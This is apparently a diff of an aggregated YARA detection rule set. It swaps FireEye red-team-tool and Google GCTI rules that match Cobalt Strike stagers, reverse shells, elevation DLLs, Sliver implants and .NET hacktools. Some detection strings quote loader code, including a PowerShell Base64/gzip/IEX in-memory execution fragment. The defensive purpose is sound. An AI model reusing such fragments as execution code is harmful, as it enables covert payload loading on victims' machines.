"2b686a8b83f8e1d8b455976ae70dab6e" + logic_hash = "2e84d614c34b0b7f93fa70fa3312f22e3ff23f2abd33b2e19c00dd6cba7dcfdc" + score = 75 + quality = 75 + tags = "FILE" + rev = 1 + + strings: + $sb1 = { B9 14 00 00 00 FF 15 [4-32] 0F B6 ?? 04 [0-32] F3 A4 [0-64] 0F B6 [2-3] 0F B6 [2-3] 33 [0-32] 88 [1-9] EB } + $sb2 = { 41 B8 00 30 00 00 [0-32] FF 15 [8-64] 83 ?? 01 [4-80] 0F B6 [1-64] 33 [1-32] 88 [1-64] FF ( D? | 5? ) } + $sb3 = { 48 89 4C 24 08 [4-64] 48 63 48 3C [0-32] 48 03 C1 [0-64] 0F B7 48 14 [0-64] 48 8D 44 08 18 [8-64] 0F B7 40 06 [2-32] 48 6B C0 28 } + + condition: + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them +} +rule FIREEYE_RT_APT_Loader_Win32_PGF_1 : FILE +{ + meta: + description = "base dlls: /lib/payload/techniques/unmanaged_exports/" + author = "FireEye" + id = "1af4f2ce-c540-5836-a749-43a0b08609b1" + date = "2020-11-25" + date = "2020-11-25" + modified = "2020-12-09" + reference = "https://github.com/mandiant/red_team_tool_countermeasures/" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_1.yar#L4-L19" + license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" + hash = "383161e4deaf7eb2ebeda2c5e9c3204c" + logic_hash = "d3fb0bd7b678b19ee2e0e846f4e13e4ce7e2629ecda123f34ef52f2af42d2a8e" + score = 75 + quality = 75 + tags = "FILE" + rev = 1 + + strings: + $sb1 = { 6A ?? FF 15 [4-32] 8A ?? 04 [0-32] 8B ?? 89 ?? 8B [2] 89 [2] 8B [2] 89 ?? 08 8B [2] 89 [2] 8B [2] 89 [2-64] 8B [5] 83 ?? 01 89 [5] 83 [5-32] 0F B6 [1-2] 0F B6 [1-2] 33 [1-16] 88 ?? EB } + $sb2 = { 6A 40 [0-32] 68 00 30 00 00 [0-32] 6A 00 [0-16] FF 15 [4-32] 89 45 [4-64] E8 [4-32] 83 ?? 01 [4-80] 0F B6 [1-64] 33 [1-32] 88 [2-64] FF ( D? | 55 ) } + $sb3 = { 8B ?? 08 03 ?? 3C [2-32] 0F B? ?? 14 [0-32] 8D [2] 18 [2-64] 0F B? ?? 06 [3-64] 6B ?? 28 } + + condition: + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them +} +rule FIREEYE_RT_APT_Loader_Win32_PGF_4 : FILE +{ + meta: + description = "No description has been set in the source file - FireEye-RT" + author = "FireEye" + id = "d46d9ae9-cb7d-5a25-9ee2-766097c14af6" + date = "2020-11-26" + date = "2020-11-26" + modified = "2020-12-09" + reference = "https://github.com/mandiant/red_team_tool_countermeasures/" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_4.yar#L4-L17" + license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" + hash = "4414953fa397a41156f6fa4f9462d207" + logic_hash = "4256bfd3713f330d76cad9d1ddbba91e588dbca2e2b6842e9482525805ddc1e8" + score = 75 + quality = 75 + tags = "FILE" + rev = 1 + + strings: + $sb1 = { C7 44 24 0C 04 00 00 00 C7 44 24 08 00 10 00 00 [4-32] C7 04 24 00 00 00 00 [0-32] FF [1-16] 89 45 ?? 83 7D ?? 00 [2-150] 0F B? ?? 8B [2] B? CD CC CC CC 89 ?? F7 ?? C1 ?? 04 89 ?? C1 ?? 02 [0-32] 0F B? [5-32] 3? [1-16] 88 } + $sb2 = { C? 45 ?? B8 [0-4] C? 45 ?? 00 [0-64] FF [0-32] E0 [0-32] C7 44 24 08 40 00 00 00 [0-32] C7 44 24 04 07 00 00 00 [0-32] FF [1-64] 89 ?? 0F B? [2-3] 89 ?? 04 0F B? [2] 88 ?? 06 8B ?? 08 8D ?? 01 8B 45 0C } + + condition: + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them +} +rule FIREEYE_RT_APT_Loader_Win_PGF_1 : FILE +{ + meta: + description = "PDB string used in some PGF DLL samples" + author = "FireEye" + id = "14e2102c-3572-5314-999c-ff3f6c94de03" + date = "2020-12-08" + modified = "2024-03-04" + reference = "https://github.com/mandiant/red_team_tool_countermeasures/" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win_PGF_1.yar#L4-L17" + license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" + hash = "013c7708f1343d684e3571453261b586" + logic_hash = "9dede268d33a38e980026917bd01bc47a72bfe60ba4a999c91eb727a2f377462" score = 75 quality = 73 tags = "FILE" + rev = 6 + + strings: + $pdb1 = /RSDS[\x00-\xFF]{20}c:\\source\\dllconfig-master\\dllsource[\x00-\xFF]{0,500}\.pdb\x00/ nocase + $pdb2 = /RSDS[\x00-\xFF]{20}C:\\Users\\Developer\\Source[\x00-\xFF]{0,500}\\Release\\DllSource\.pdb\x00/ nocase + $pdb3 = /RSDS[\x00-\xFF]{20}q:\\objchk_win7_amd64\\amd64\\init\.pdb\x00/ nocase + + condition: + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and filesize < 15MB and any of them +} +rule FIREEYE_RT_APT_Loader_Win_PGF_2 : FILE +{ + meta: + description = "PE rich header matches PGF backdoor" + author = "FireEye" + id = "595c9e2a-3d9d-5366-9449-de1bcf333f78" + date = "2020-12-08" + modified = "2020-12-09" + reference = "https://github.com/mandiant/red_team_tool_countermeasures/" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win_PGF_2.yar#L4-L21" + license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" + hash = "226b1ac427eb5a4dc2a00cc72c163214" + logic_hash = "b8c024c6b4c3ce9915700b62da8a1f12440215b46f3a56078707f5257e575811" + score = 75 + quality = 75 + tags = "FILE" + md5_2 = "2398ed2d5b830d226af26dedaf30f64a" + md5_3 = "24a7c99da9eef1c58f09cf09b9744d7b" + md5_4 = "aeb0e1d0e71ce2a08db9b1e5fb98e0aa" rev = 4 strings: - $typelibguid1 = "41f35e79-2034-496a-8c82-86443164ada2" ascii nocase wide + $rich1 = { A8 B7 17 3A EC D6 79 69 EC D6 79 69 EC D6 79 69 2F D9 24 69 E8 D6 79 69 E5 AE EC 69 EA D6 79 69 EC D6 78 69 A8 D6 79 69 E5 AE EA 69 EF D6 79 69 E5 AE FA 69 D0 D6 79 69 E5 AE EB 69 ED D6 79 69 E5 AE FD 69 E2 D6 79 69 CB 10 07 69 ED D6 79 69 E5 AE E8 69 ED D6 79 69 } + $rich2 = { C1 CF 75 A4 85 AE 1B F7 85 AE 1B F7 85 AE 1B F7 8C D6 88 F7 83 AE 1B F7 0D C9 1A F6 87 AE 1B F7 0D C9 1E F6 8F AE 1B F7 0D C9 1F F6 8F AE 1B F7 0D C9 18 F6 84 AE 1B F7 DE C6 1A F6 86 AE 1B F7 85 AE 1A F7 BF AE 1B F7 84 C3 12 F6 81 AE 1B F7 84 C3 E4 F7 84 AE 1B F7 84 C3 19 F6 84 AE 1B F7 } + $rich3 = { D6 60 82 B8 92 01 EC EB 92 01 EC EB 92 01 EC EB 9B 79 7F EB 94 01 EC EB 1A 66 ED EA 90 01 EC EB 1A 66 E9 EA 98 01 EC EB 1A 66 E8 EA 9A 01 EC EB 1A 66 EF EA 90 01 EC EB C9 69 ED EA 91 01 EC EB 92 01 ED EB AF 01 EC EB 93 6C E5 EA 96 01 EC EB 93 6C 13 EB 93 01 EC EB 93 6C EE EA 93 01 EC EB } + $rich4 = { 41 36 64 33 05 57 0A 60 05 57 0A 60 05 57 0A 60 73 CA 71 60 01 57 0A 60 0C 2F 9F 60 04 57 0A 60 0C 2F 89 60 3D 57 0A 60 0C 2F 8E 60 0A 57 0A 60 05 57 0B 60 4A 57 0A 60 0C 2F 99 60 06 57 0A 60 73 CA 67 60 04 57 0A 60 0C 2F 98 60 04 57 0A 60 0C 2F 80 60 04 57 0A 60 22 91 74 60 04 57 0A 60 0C 2F 9B 60 04 57 0A 60 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and filesize < 15MB and ( ( $rich1 at 128 ) or ( $rich2 at 128 ) or ( $rich3 at 128 ) or ( $rich4 at 128 ) ) } -rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSTOMP_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_NOAMCI_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'noamci' project." author = "FireEye" - id = "4b4a54c8-9717-5fbb-8130-a49162bc6b07" - date = "2020-12-02" - date = "2020-12-02" + id = "48066258-528f-5a70-81e1-15d6dfd9ff4f" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSTOMP/production/yara/APT_HackTool_MSIL_SHARPSTOMP_1.yar#L4-L24" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/NOAMCI/production/yara/APT_HackTool_MSIL_NOAMCI_1.yar#L4-L16" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "83ed748cd94576700268d35666bf3e01" - logic_hash = "af8aa0e87d8b6623a908fde5014f3849cd0ca20d5926c798be82ce4eab2668bb" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "6278cfb4e9af20bbe943f4b99227c7fba276315a9f0059575b3ed4ef96a848c4" score = 75 quality = 71 tags = "FILE" - rev = 3 + rev = 4 strings: - $s0 = "mscoree.dll" fullword nocase - $s1 = "timestompfile" fullword nocase - $s2 = "sharpstomp" fullword nocase - $s3 = "GetLastWriteTime" fullword - $s4 = "SetLastWriteTime" fullword - $s5 = "GetCreationTime" fullword - $s6 = "SetCreationTime" fullword - $s7 = "GetLastAccessTime" fullword - $s8 = "SetLastAccessTime" fullword + $typelibguid0 = "7bcccf21-7ecd-4fd4-8f77-06d461fd4d51" ascii nocase wide + $typelibguid1 = "ef86214e-54de-41c3-b27f-efc61d0accc3" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } /* * YARA Rule Set * Repository Name: GCTI * Repository: https://github.com/chronicle/GCTI - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: 1c5fd42b1895098527fde00c2d9757edf6b303bb * Number of Rules: 90 * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance) @@ -78930,266 +78877,134 @@ rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSTOMP_1 : FILE limitations under the License. */ -rule GCTI_Sliver_Implant_64Bit -{ - meta: - description = "Sliver 64-bit implant (with and without --debug flag at compile)" - author = "gssincla@google.com" - id = "b84db933-0e11-5871-821d-43697c015665" - date = "2022-11-18" - modified = "2022-11-19" - reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/Sliver/Sliver__Implant_64bit.yara#L17-L84" - license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "2d1c9de42942a16c88a042f307f0ace215cdc67241432e1152080870fe95ea87" - logic_hash = "ad4ceef08a732174c8ccbcacf0370b26acb9e5ec0784d8827c8104618e018a26" - score = 75 - quality = 85 - tags = "" - - strings: - $s_tcppivot = { 48 ?? 74 63 70 70 69 76 6F 74 } - $s_namedpipe = { 48 ?? 6E 61 6D 65 64 70 69 70 [2-32] 80 ?? 08 65 } - $s_https = { 81 ?? 68 74 74 70 [2-32] 80 ?? 04 73 } - $s_wg = {66 81 ?? 77 67} - $s_dns = { 66 81 ?? 64 6E [2-20] 80 ?? 02 73 } - $s_mtls = { 81 ?? 6D 74 6C 73 } - $fp1 = "cloudfoundry" ascii fullword - - condition: - 5 of ( $s* ) and not 1 of ( $fp* ) -} -rule GCTI_Sliver_Implant_32Bit -{ - meta: - description = "Sliver 32-bit implant (with and without --debug flag at compile)" - author = "gssincla@google.com" - id = "6bc4d7d1-64cf-5920-8f07-54a8a7a94f26" - date = "2022-11-18" - modified = "2022-11-19" - reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/Sliver/Sliver__Implant_32bit.yara#L17-L81" - license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "911f4106350871ddb1396410d36f2d2eadac1166397e28a553b28678543a9357" - logic_hash = "5b394a198f691b6777438a69d20a423798525daa84a09a0ce346eca5bb66f850" - score = 60 - quality = 35 - tags = "" - - strings: - $s_tcppivot = { 81 ?? 74 63 70 70 [2-20] 81 ?? 04 69 76 6F 74 } - $s_wg = { 66 81 ?? 77 67 } - $s_dns = { 66 81 ?? 64 6E [2-20] 80 ?? 02 73 } - $s_http = { 81 ?? 68 74 74 70 } - $s_https = { 81 ?? 68 74 74 70 [2-20] 80 ?? 04 73 } - $s_mtls = { 81 ?? 6D 74 6C 73 } - $fp1 = "cloudfoundry" ascii fullword - - condition: - 4 of ( $s* ) and not 1 of ( $fp* ) -} -rule GCTI_Cobaltstrike_Resources_Command_Ps1_V2_5_To_V3_7_And_Resources_Compress_Ps1_V3_8_To_V4_X -{ - meta: - description = "Cobalt Strike's resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x" - author = "gssincla@google.com" - id = "c0b81deb-ed20-5f7e-8e15-e6a9e9362594" - date = "2022-11-18" - modified = "2022-11-22" - reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x.yara#L17-L33" - license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62" - logic_hash = "31cf47060757b086d325cd205724a7be8931bbbc6ff2f4be67a6179ee99c42ca" - score = 75 - quality = 85 - tags = "" - - strings: - $ps1 = "$s=New-Object \x49O.MemoryStream(,[Convert]::\x46romBase64String(" nocase - $ps2 = "));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();" nocase - - condition: - all of them -} -rule GCTI_Cobaltstrike_Resources_Template_Py_V3_3_To_V4_X +rule GCTI_Cobaltstrike_Resources_Template_Sct_V3_3_To_V4_X { meta: - description = "Cobalt Strike's resources/template.py signature for versions v3.3 to v4.x" + description = "Cobalt Strike's resources/template.sct signature for versions v3.3 to v4.x" author = "gssincla@google.com" - id = "16aef9a9-b217-5462-93dc-f6273c99ddd0" + id = "9d2b1dfa-5f76-503f-9198-6ed0d039e0cb" date = "2022-11-18" modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_Py_v3_3_to_v4_x.yara#L17-L36" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_Sct_v3_3_to_v4_x.yara#L17-L38" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "d5cb406bee013f51d876da44378c0a89b7b3b800d018527334ea0c5793ea4006" - logic_hash = "3c26cea4b8f2b200bf58e939ae9ead7a7339d4ec0de8c72b3d9c7da897600081" + hash = "fc66cb120e7bc9209882620f5df7fdf45394c44ca71701a8662210cf3a40e142" + logic_hash = "8868445ced4945c469764b7f311d6cb11c99cf0f2d770113e5e617e0187a962c" score = 75 quality = 85 tags = "" strings: - $arch = "platform.architecture()" - $nope = "WindowsPE" - $alloc = "ctypes.windll.kernel32.VirtualAlloc" - $movemem = "ctypes.windll.kernel32.RtlMoveMemory" - $thread = "ctypes.windll.kernel32.CreateThread" - $wait = "ctypes.windll.kernel32.WaitForSingleObject" + $scriptletstart = "<scriptlet>" nocase + $registration = "<registration progid=" nocase + $classid = "classid=" nocase + $scriptlang = "<script language=\"vbscript\">" nocase + $cdata = "<![CDATA[" + $scriptend = "</script>" nocase + $antiregistration = "</registration>" nocase + $scriptletend = "</scriptlet>" condition: - all of them + all of them and @scriptletstart [ 1 ] < @registration [ 1 ] and @registration [ 1 ] < @classid [ 1 ] and @classid [ 1 ] < @scriptlang [ 1 ] and @scriptlang [ 1 ] < @cdata [ 1 ] } -rule GCTI_Cobaltstrike_Resources_Smbstager_Bin_V2_5_Through_V4_X +rule GCTI_Cobaltstrike_Resources_Httpstager64_Bin_V3_2_Through_V4_X { meta: - description = "Cobalt Strike's resources/smbstager.bin signature for versions 2.5 to 4.x" + description = "Cobalt Strike's resources/httpstager64.bin signature for versions v3.2 to v4.x" author = "gssincla@google.com" - id = "074b7d83-e3d8-541c-804b-2417c21f54d5" + id = "5530dce8-e5a1-5133-9b05-464e3397084a" date = "2022-11-18" modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Smbstager_Bin_v2_5_through_v4_x.yara#L17-L95" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpstager64_Bin_v3_2_through_v4_x.yara#L17-L85" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "946af5a23e5403ea1caccb2e0988ec1526b375a3e919189f16491eeabc3e7d8c" - logic_hash = "b0f6535069df16a64de44ca0638ec060c1ff264a7820c94710d61ca7e8474450" + hash = "ad93d1ee561bc25be4a96652942f698eac9b133d8b35ab7e7d3489a25f1d1e76" + logic_hash = "23666169565c6b3e5fa71767dc31096e7a25be049eeab16b074053d76c97c70b" score = 75 quality = 85 tags = "" strings: $apiLocator = { - 31 ?? + 48 [2] AC - C1 ?? 0D - 01 ?? + 41 [2] 0D + 41 [2] 38 ?? 75 ?? - 03 [2] - 3B [2] + 4C [4] + 45 [2] 75 ?? 5? - 8B ?? 24 - 01 ?? - 66 8B [2] - 8B ?? 1C - 01 ?? - 8B ?? 8B - 01 ?? - 89 [3] - 5? - 5? + 44 [2] 24 + 49 [2] + 66 [4] + 44 [2] 1C + 49 [2] + 41 [3] + 48 } - $smb = { 68 C6 96 87 52 } - $smbstart = { - 6A 40 - 68 00 10 00 00 - 68 FF FF 07 00 - 6A 00 - 68 58 A4 53 E5 + $postInternetOpenJmp = { + 41 ?? 3A 56 79 A7 + FF ?? + EB } condition: - $apiLocator and $smb and $smbstart + $apiLocator and $postInternetOpenJmp } -rule GCTI_Cobaltstrike_Resources_Bind_Bin_V2_5_Through_V4_X +rule GCTI_Cobaltstrike_Resources_Reverse64_Bin_V2_5_Through_V4_X { meta: - description = "Cobalt Strike's resources/bind.bin signature for versions 2.5 to 4.x" + description = "Cobalt Strike's resources/reverse64.bin signature for versions v2.5 to v4.x" author = "gssincla@google.com" - id = "32f129c1-9845-5843-9e16-7d9af217b8e2" + id = "966e6e4c-85e2-5c94-8245-25367802b7d2" date = "2022-11-18" modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bind_Bin_v2_5_through_v4_x.yara#L17-L111" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Reverse64_Bin_v2_5_through_v4_x.yara#L17-L99" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "3727542c0e3c2bf35cacc9e023d1b2d4a1e9e86ee5c62ee5b66184f46ca126d1" - logic_hash = "cf04e257590cf0673059348f5c15926918eb8aee40e864ae65979360aca80013" + hash = "d2958138c1b7ef681a63865ec4a57b0c75cc76896bf87b21c415b7ec860397e8" + logic_hash = "c657234156293b9ac363b677490739ab0b5cc2ef149c9d9c37332dab9bb012f6" score = 75 quality = 85 tags = "" strings: $apiLocator = { - 31 ?? + 48 [2] AC - C1 ?? 0D - 01 ?? + 41 [2] 0D + 41 [2] 38 ?? 75 ?? - 03 [2] - 3B [2] + 4C [4] + 45 [2] 75 ?? 5? - 8B ?? 24 - 01 ?? - 66 8B [2] - 8B ?? 1C - 01 ?? - 8B ?? 8B - 01 ?? - 89 [3] - 5? - 5? - } - $ws2_32 = { - 5D - 68 33 32 00 00 - 68 77 73 32 5F - } - $listenaccept = { - 5? - 5? - 68 B7 E9 38 FF - FF ?? - 5? - 5? - 5? - 68 74 EC 3B E1 + 44 [2] 24 + 49 [2] + 66 [4] + 44 [2] 1C + 49 [2] + 41 [3] + 48 } - - condition: - $apiLocator and $ws2_32 and $listenaccept -} -rule GCTI_Cobaltstrike_Resources_Elevate_Dll_V3_0_To_V3_14_And_Sleeve_Elevate_Dll_V4_X -{ - meta: - description = "Cobalt Strike's resources/elevate.dll signature for v3.0 to v3.14 and sleeve/elevate.dll for v4.x" - author = "gssincla@google.com" - id = "170f62a2-ba4f-5be8-9ec5-402eb7bbde4e" - date = "2022-11-18" - modified = "2022-11-19" - reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Elevate_Dll_v3_0_to_v3_14_and_Sleeve_Elevate_Dll_v4_x.yara#L17-L68" - license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "6deeb2cafe9eeefe5fc5077e63cc08310f895e9d5d492c88c4e567323077aa2f" - logic_hash = "766a0a390ed8cefe43d82a054a9b2cfec7eced75e0d7ee10231215043577b75e" - score = 75 - quality = 85 - tags = "" - - strings: - $wnd_proc = { - 6A 00 - 6A 28 - 68 00 01 00 00 - 5? - C7 [5] 01 00 00 00 - FF ?? - 6A 00 - 6A 27 - 68 00 01 00 00 - 5? - FF ?? - 6A 00 - 6A 00 - 68 01 02 00 00 - 5? - FF ?? + $calls = { + 48 89 C1 + 41 BA EA 0F DF E0 + FF D5 + 48 [2] + 6A ?? + 41 ?? + 4C [2] + 48 [2] + 41 BA 99 A5 74 61 + FF D5 } condition: - $wnd_proc + $apiLocator and $calls } rule GCTI_Cobaltstrike_Resources_Covertvpn_Injector_Exe_V1_44_To_V2_0_49 { @@ -79255,71 +79070,65 @@ rule GCTI_Cobaltstrike_Resources_Covertvpn_Injector_Exe_V1_44_To_V2_0_49 condition: all of them } -rule GCTI_Cobaltstrike_Resources_Artifact32Svc_Exe_V3_1_V3_2_V3_14_And_V4_X +rule GCTI_Cobaltstrike_Resources_Elevate_X64_Dll_V3_0_To_V3_14_And_Sleeve_Elevate_X64_Dll_V4_X { meta: - description = "Cobalt Strike's resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x)" + description = "Cobalt Strike's resources/elevate.x64.dll signature for v3.0 to v3.14 and sleeve/elevate.x64.dll for v4.x" author = "gssincla@google.com" - id = "732169be-e334-5774-b0ac-54b217a8b681" + id = "91d5c343-1084-5cfc-9dfa-46f530eb9625" date = "2022-11-18" modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32svc_Exe_v1_49_to_v4_x.yara#L53-L77" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Elevate_X64_Dll_v3_0_to_v3_14_and_Sleeve_Elevate_X64_Dll_v4_x.yara#L17-L71" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "871390255156ce35221478c7837c52d926dfd581173818620b738b4b029e6fd9" - logic_hash = "b55211fc2dbe100edb19c3f3a000be513144e3556c4bce8a29a3c0b77451ba96" + hash = "c3ee8a9181fed39cec3bd645b32b611ce98d2e84c5a9eff31a8acfd9c26410ec" + logic_hash = "6f23bcf6a0c360d2f83140ce633440b13d8b691e75c5560c65656cf8a6114224" score = 75 quality = 85 tags = "" strings: - $decoderFunc = { 89 ?? B? 04 00 00 00 99 F7 FF 8B [2] 8A [2] 30 } + $wnd_proc = { + 81 ?? 21 01 00 00 + 75 ?? + 83 [5] 00 + 75 ?? + 45 33 ?? + 8D [2] + C7 [5] 01 00 00 00 + 45 [2] 28 + FF 15 [4] + 45 33 ?? + 8D [2] + 45 [2] 27 + 48 [2] + FF 15 [4] + 45 33 ?? + 45 33 ?? + BA 01 02 00 00 + 48 + } condition: - $decoderFunc + $wnd_proc } -rule GCTI_Cobaltstrike_Resources_Xor_Bin__64Bit_V3_12_To_V4_X +rule GCTI_Cobaltstrike_Resources_Httpstager_Bin_V2_5_Through_V4_X { meta: - description = "Cobalt Strike's resource/xor64.bin signature for version 3.12 through 4.x" + description = "Cobalt Strike's resources/httpstager.bin signature for versions 2.5 to 4.x" author = "gssincla@google.com" - id = "5bb465ee-3bbd-5bfe-8b63-1f243de217bc" + id = "86109485-c26c-5c51-8d04-dd1add9a8c57" date = "2022-11-18" modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Xor_Bin__64bit_v3_12_to_4_x.yara#L17-L38" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpstager_Bin_v2_5_through_v4_x.yara#L17-L93" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "01dba8783768093b9a34a1ea2a20f72f29fd9f43183f3719873df5827a04b744" - logic_hash = "aabaad09408ae292a0bbc678c334f9f54364b4f6b882846072c303bf826fc2da" + hash = "a47569af239af092880751d5e7b68d0d8636d9f678f749056e702c9b063df256" + logic_hash = "3baab08b0118e00432f1869ba5daa4fc6383bfc020119bfbb3047a008c33fe72" score = 75 quality = 85 tags = "" - strings: - $stub58 = {fc e8 ?? ?? ?? ?? [1-32] eb 33 5? 8b ?? 00 4? 83 ?? ?4 8b ?? 00 31 ?? 4? 83 ?? ?4 5? 8b ?? 00 31 ?? 89 ?? 00 31 ?? 4? 83 ?? ?4 83 ?? ?4 31 ?? 39 ?? 74 ?2 eb e7 5? fc 4? 83 ?? f0 ff} - $stub59 = {fc e8 ?? ?? ?? ?? [1-32] eb 2e 5? 8b ?? 48 83 c? ?4 8b ?? 31 ?? 48 83 c? ?4 5? 8b ?? 31 ?? 89 ?? 31 ?? 48 83 c? ?4 83 e? 